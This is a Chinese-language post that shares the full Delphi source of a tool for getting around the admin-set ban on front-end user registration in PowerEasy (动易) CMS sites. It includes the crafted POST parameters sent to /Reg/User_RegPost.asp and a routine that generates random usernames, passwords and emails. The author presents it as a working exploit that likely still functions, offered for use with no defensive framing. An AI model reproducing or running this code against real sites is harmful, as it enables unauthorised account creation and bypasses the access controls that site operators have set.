突破动易后台限制前台注册利用工具[原码]...

我这里就直接贴出利用工具的代码了...

由于很久前写的了(现在应当还能用)......当时技术比较菜.代码的易读性也并没有考虑到,抱歉咯.....

 unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdHTTP, StdCtrls, SkinCtrls, Mask, SkinBoxCtrls, SkinData,
  DynamicSkinForm,shellapi;

type
  TForm1 = class(TForm)
    IdHTTP1: TIdHTTP;
    spDynamicSkinForm1: TspDynamicSkinForm;
    spSkinData1: TspSkinData;
    spCompressedStoredSkin1: TspCompressedStoredSkin;
    spSkinStdLabel1: TspSkinStdLabel;
    Edit1: TspSkinEdit;
    spSkinStdLabel2: TspSkinStdLabel;
    User: TspSkinEdit;
    spSkinStdLabel3: TspSkinStdLabel;
    password1: TspSkinEdit;
    Edit4: TspSkinEdit;
    spSkinStdLabel4: TspSkinStdLabel;
    spSkinButton1: TspSkinButton;
    Button1: TspSkinButton;
    neirong: TspSkinEdit;
    neirong2: TspSkinEdit;
    Label1: TspSkinStdLabel;
    spSkinXFormButton1: TspSkinXFormButton;
    Memo1: TMemo;
    procedure Button1Click(Sender: TObject);
    procedure spSkinButton1Click(Sender: TObject);
    procedure spSkinXFormButton1Click(Sender: TObject);
 
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
procedure main;
begin
if (form1.Edit1.Text='') or (form1.User.Text='') or (form1.password1.Text='') or (form1.Edit4.Text='')  then
begin
MessageBox(0, '请填写完表格', '提示', mb_iconinformation);
exit;
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
   strMsg:string;
   sParams: TStringStream; 
begin
label1.Caption :='';
memo1.Lines.Text :='';
main;
  sParams := TStringStream.create('');
  IdHTTP1.Request.ContentType := 'application/x-www-form-urlencoded';
  try
    sParams.WriteString('UserName='+user.Text+'&NickName=%EA%C7%B3
%C6%D3%C3%D3%DA%CF%D4%CA%BE%D3%C3%BB%A7%D0%C5%CF%A2%B5%D8%B7%BD&sex=2&Password='+password1.Text+'&PwdConfirm='+password1.Text+neirong2.Text+edit4.Text+
neirong.Text);
    strMsg:=IdHTTP1.post(edit1.text+'/Reg/User_RegPost.asp',sParams) ;
    label1.Caption :='注册完毕！';
     memo1.Text:=strmsg;
  finally
    sParams.Free ;

  end;

end;

procedure TForm1.spSkinButton1Click(Sender: TObject);
begin
ShellExecute(Handle, nil, pchar(edit1.Text+'/User/User_Login.asp'), nil, nil, SW_SHOWNORMAL)
end;

 

procedure TForm1.spSkinXFormButton1Click(Sender: TObject);
begin
Randomize;
user.Text :=Format('%.4d',[Random(99999998)]);
password1.Text :=Format('%.4d',[Random(99999998)]);
edit4.Text :=Format('%.4d',[Random(99999998)])+'@126.com';
end;

end.

///

嘿嘿,neirong.text里的内容为:
&SpareEmail=&Homepage=http%3A%2F%2F&QQ=&ICQ=&MSN=&Yahoo=&UC=&Aim=&OfficePhone=
&HomePhone=&Fax=&Mobile=&Country=%D6%D0%BB%AA%C8%CB%C3%F1%B9%B2%BA%CD%B9%FA&Province=&City=&Address=asdasdqwdasd&ZipCode=&TrueName=qwdasdqwdasd&Birthday=&IDCard
=&Vocation=&Company=&Department=&PosTitle=&Marriage=0&Income=2000&UserFace=&FaceWidth=&F
aceHeight=&Sign=&Privacy=0&Action=SaveReg1&Submit2=+%CF%C2%D2%BB%B2%BD+

neirong2.text:
&Question=%CE%D2%BC%D2%B5%C4%B3%E8%CE%EF%B5%C4%C3%FB%D7%D6%A3%BF&select=
%CE%D2%BC%D2%B5%C4%B3%E8%CE%EF%B5%C4%C3%FB%D7%D6%A3%BF&Answer=%CE%D2%
CA%C7%D0%A1%C3%A8&Email=

说了代码比较粗糙嘛...其实直接定义成2个常量就行了